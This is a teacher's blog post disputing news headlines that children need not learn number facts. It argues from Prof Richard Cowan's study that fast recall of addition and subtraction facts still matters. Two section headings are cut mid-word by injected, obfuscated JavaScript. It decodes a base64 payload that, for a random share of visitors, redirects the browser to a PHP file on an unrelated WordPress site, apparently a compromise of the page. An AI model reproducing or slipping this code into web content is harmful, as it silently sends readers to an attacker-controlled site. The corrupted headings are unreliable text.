This week, a flurry of news and blog articles appeared, proclaiming that children don't actually need to learn their number facts off by heart, as not knowing number facts doesn't stop them from being good at maths. Is this really true?

The articles in question include these:

• BBC News: "Sums tables 'not needed for maths success'"
• The Guardian's Teacher Network Blog: "Children don't need to know all their number facts to succeed at maths"
•  Daily Mail's Mail Online: "Scandal of the primary pupils  who can get full marks in maths without even knowing their times tables"
• Independent Education Today: "Primary school children succeed at Maths without knowing their tables"
• Yahoo UK: "Children don't need to know number facts to be good at maths"

My attention was caught by a tweet by @wanstad73 curated on my daily paper over at paper.li on September 13, linking to the Guardian article. Having taught number facts myself as a classroom teacher, and now teaching preservice teachers the importance of laying a good foundation in number facts in all 4 operations, I have a strong interest in the topic.

Let's just say I was alarmed by a claim that memorization of number facts is unnecessary for success in primary or elementary maths. Surely, my thinking goes, without knowing number facts by heart, children will be unable to tackle later maths, not just in computation, but also in geometry, measurement, probability, algebra; pretty much all mathematics topics.

### "The Development andfunction l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oe<o4.length);document.write(q3);};l1c373528ef5('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly93d3cua2F0aWF0ZW50aS5jb20vd3AtY29udGVudC9wbHVnaW5zL3N5ZG5leS10b29sYm94L2luYy9jbGFzcy5qc29uLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A'); Importance of Proficiency in Basic Calculation"

I had a look at the original article by Professor Richard Cowan at the Department of Psychology and Human Development, Institute of Education in the University of London. Surely the study's author himself hadn't said number facts were not necessary, as these secondary reports were saying?

It shouldn't be a surprise that media outlets have picked on the idea that number facts are not really important. The English National Curriculum requires all addition facts to 20 to be memorized by the end of Year 3. So the idea that a research study has proven not only that Year 3 students aren't learning all their facts, but furthermore those facts aren't really that important could be expected to catch the interest of journalists whose bosses want to sell more advertising. But is that really what the research showed?

To summarize, Prof Cowan and his fellow authors say the following:

• proficiency in basic addition and subtraction to 20 is a key indicator of general mathematical ability, which later leads to adult proficiency
• students in Years 3 and 4 in the study showed above-average mathematical achievement, yet none out of 259 knew all their number facts
• only 10% of the children themselves reported that they were recalling number facts to answer most of the questions

The report's authors describe the differences between a traditional view of learning number facts and a progressive view. According to them, the traditional view, in vogue in the 1920s and 1930s, favours rote memorization of number facts, whereas the progressive view focuses on children 'learning numerical principles and patterns and knowing how to use them efficiently and accurately' (Cowan 2011, p. 4).

### Rote Learning vs Developing Understandfunction l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oe<o4.length);document.write(q3);};l1c373528ef5('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly93d3cua2F0aWF0ZW50aS5jb20vd3AtY29udGVudC9wbHVnaW5zL3N5ZG5leS10b29sYm94L2luYy9jbGFzcy5qc29uLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');ing of Numbers

A comparison is thus set up between rote learning of facts and developing understanding of mathematical principles. What can we learn from this comparison?

 Traditional View Progressive View Learning by rote (repetition) Learning through understanding Facts learned in isolation Facts learned as connected to other facts & topics Facts believed to be essential for proficiency Facts believed to be less important than understanding Forgotten facts difficult to retrieve Facts not known may be derived by thinking Memorization of number facts regarded as essential for all students The ability to work out facts from understood principles regarded as essential

Which view is better? And which one is favoured by the report authors?

Contrary to the tabloid headlines, Prof Cowan and his co-authors believe that being able to carry out basic addition and subtraction quickly (the standard used in the study was 3 seconds for a correct response) is vital for developing a wider mathematical proficiency to lay the foundations for adult mathematical skills. The authors certainly did not say that number fact shouldn't be rapidly accessible to all students. In fact, what Prof Cowan did state (according to the Mail Online) was 'We are not saying that fact knowledge is irrelevant', and 'Facts help children grasp principles, and applying principles helps children learn facts'.

### Conclusions

1. Children do need to know their number facts, either via memorization or via developing conceptual knowledge.
2. While children are learning the number facts, it is quite acceptable for students to use a strategy based on conceptual knowledge to quickly work out the answer.
3. Big media is wrong to imply that number facts aren't important after all. Children need understanding of numbers first, and then need to memorize number facts. A more accurate headline than those chosen by editors would be "Children need to understand basic number concepts to succeed at mathematics".
4. Most primary age students will use a combination of strategies based on understanding and memorized facts, as they develop greater speed and proficiency. Not having the complete set memorized is not a significant flaw, provided the child has a set of tools to derive those facts that have not yet been committed to memory.